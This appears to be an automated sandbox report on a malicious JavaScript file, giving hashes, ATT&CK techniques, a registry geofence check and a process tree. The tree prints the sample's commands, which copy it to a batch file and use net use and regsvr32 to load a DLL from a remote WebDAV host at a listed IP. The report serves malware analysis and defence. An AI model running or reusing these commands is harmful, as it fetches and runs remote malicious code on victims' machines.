a2fa36c995baa26092d3aeda7a60f2509bf23c7edf845aaabd3eacd6f332ace8

Analysis

max time kernel
63s
max time network
74s
platform
windows10-2004_x64
resource
win10v2004-20240704-en
resource tags

arch:x64arch:x86image:win10v2004-20240704-enlocale:en-usos:windows10-2004-x64system
submitted
08-07-2024 11:30

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General

Target

4646861dbe9f5ec513a8bb072a00a3074f077d8baec53b19e2233bf95ab92b12.js
Size

5KB
MD5

542224baabc5d800a3c217029859af06
SHA1

07c940c06b3aa6f328376241216ceaa737613a97
SHA256

4646861dbe9f5ec513a8bb072a00a3074f077d8baec53b19e2233bf95ab92b12
SHA512

d70329671d5ee49db928b642e79c7604391eeccefe606658a9574ccfa00807c1f285337afede09ac72d563ed84612a4b1a6a0eb4f0afc3b9022c32eed7fa2b26
SSDEEP

96:LVdy8S9XOcs7dA51e3X51ekroV0oZuziP3GEV3fLCEVQtYEV3AV5o0k6oj:LVQdk/O51e3X51ekr40o4+P3HV3fLDVa

Score

7^/10

execution

Malware Config

Signatures

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2753856825-3907105642-1818461144-1000\Control Panel\International\Geo\Nation	wscript.exe

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Runs net.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 1116 wrote to memory of 1980	1116	wscript.exe	82
PID 1116 wrote to memory of 1980	1116	wscript.exe	82
PID 1980 wrote to memory of 2864	1980	cmd.exe	86
PID 1980 wrote to memory of 2864	1980	cmd.exe	86
PID 1980 wrote to memory of 4348	1980	cmd.exe	87
PID 1980 wrote to memory of 4348	1980	cmd.exe	87

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\4646861dbe9f5ec513a8bb072a00a3074f077d8baec53b19e2233bf95ab92b12.js
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:1116
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /k copy "C:\Users\Admin\AppData\Local\Temp\4646861dbe9f5ec513a8bb072a00a3074f077d8baec53b19e2233bf95ab92b12.js" "C:\Users\Admin\\nsmuxu.bat" && "C:\Users\Admin\\nsmuxu.bat"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1980
- - C:\Windows\system32\net.exe
    net use \\45.9.74.13@8888\DavWWWRoot\
    3⤵
    PID:2864
- - C:\Windows\system32\regsvr32.exe
    regsvr32 /s \\45.9.74.13@8888\DavWWWRoot\292.dll
    3⤵
    PID:4348

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

JavaScript

T1059.007

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\nsmuxu.bat

Filesize
5KB

MD5
542224baabc5d800a3c217029859af06

SHA1
07c940c06b3aa6f328376241216ceaa737613a97

SHA256
4646861dbe9f5ec513a8bb072a00a3074f077d8baec53b19e2233bf95ab92b12

SHA512
d70329671d5ee49db928b642e79c7604391eeccefe606658a9574ccfa00807c1f285337afede09ac72d563ed84612a4b1a6a0eb4f0afc3b9022c32eed7fa2b26

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